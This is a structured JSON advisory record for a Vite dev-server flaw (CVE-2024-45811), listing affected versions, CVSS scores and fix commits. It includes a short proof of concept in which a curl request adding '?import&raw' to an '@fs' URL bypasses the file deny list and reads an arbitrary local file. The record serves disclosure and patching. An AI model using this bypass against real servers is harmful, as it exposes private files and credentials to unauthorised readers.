{"id":"CVE-2024-45811","aliases":["CVE-2024-45811","GHSA-9cwx-2883-4wfx"],"related":[],"kind":"vulnerability","state":"published","title":"server.fs.deny bypassed when using ?import&raw in vite","summary":"Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    <body>\n      <h1>403 Restricted</h1>\n      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Vite es un framework de herramientas de compilación de interfaz para JavaScript. En las versiones afectadas, el contenido de archivos arbitrarios se puede devolver al navegador. `@fs` niega el acceso a archivos fuera de la lista de permitidos de Vite. Agregar `?import&amp;raw` a la URL evita esta limitación y devuelve el contenido del archivo si existe. Este problema se ha corregido en las versiones 5.4.6, 5.3.6, 5.2.14, 4.5.5 y 3.2.11. Se recomienda a los usuarios que actualicen. No existen workarounds para esta vulnerabilidad.","source":"nvd"}],"published":"2024-09-17T18:44:12.000Z","modified":"2026-09-10T03:50:18.095Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N","score":4.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N","score":4.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"}],"cwes":["CWE-200","CWE-284"],"affected":[{"ranges":[{"version":">= 5.4.0, < 5.4.6","status":"affected"},{"version":">= 5.3.0, < 5.3.6","status":"affected"},{"version":">= 5.0.0, < 5.2.14","status":"affected"},{"version":">= 4.0.0, < 4.5.5","status":"affected"},{"version":"< 3.2.11","status":"affected"}],"vendor":"vitejs","product":"vite","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"5.4.0","fixed":"5.4.6","status":"affected"},{"type":"custom","introduced":"5.3.0","fixed":"5.3.6","status":"affected"},{"type":"custom","introduced":"5.0.0","fixed":"5.2.14","status":"affected"},{"type":"custom","introduced":"4.0.0","fixed":"4.5.5","status":"affected"},{"type":"custom","introduced":"0","fixed":"3.2.11","status":"affected"}],"vendor":"vitejs","product":"vite","cpe":"cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"5.4.0","status":"affected","fixed":"5.4.6"}],"ecosystem":"npm","package":"vite","purl":"pkg:npm/vite","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"5.3.0","status":"affected","fixed":"5.3.6"}],"ecosystem":"npm","package":"vite","purl":"pkg:npm/vite","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"5.2.0","status":"affected","fixed":"5.2.14"}],"ecosystem":"npm","package":"vite","purl":"pkg:npm/vite","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.5.4"}],"ecosystem":"npm","package":"vite","purl":"pkg:npm/vite","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.2.11"}],"ecosystem":"npm","package":"vite","purl":"pkg:npm/vite","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"5.0.0","status":"affected","fixed":"5.1.8"}],"ecosystem":"npm","package":"vite","purl":"pkg:npm/vite","source":"ghsa"}],"references":[{"url":"https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45811","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/vitejs/vite","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-09-18T13:59:58.812Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-45811","url":"https://www.cve.org/CVERecord?id=CVE-2024-45811","licence":"CVE Terms of Use","modified":"2024-09-18T14:06:21.732Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9cwx-2883-4wfx","url":"https://github.com/advisories/GHSA-9cwx-2883-4wfx","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:18.095Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-45811","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45811","licence":"Public domain","modified":"2026-06-17T07:54:51.767Z"}],"updatedAt":"2026-11-25T22:58:45.518Z","epss":{"score":0.01105,"percentile":0.66719,"date":"2026-12-01T12:00:22.000Z"}}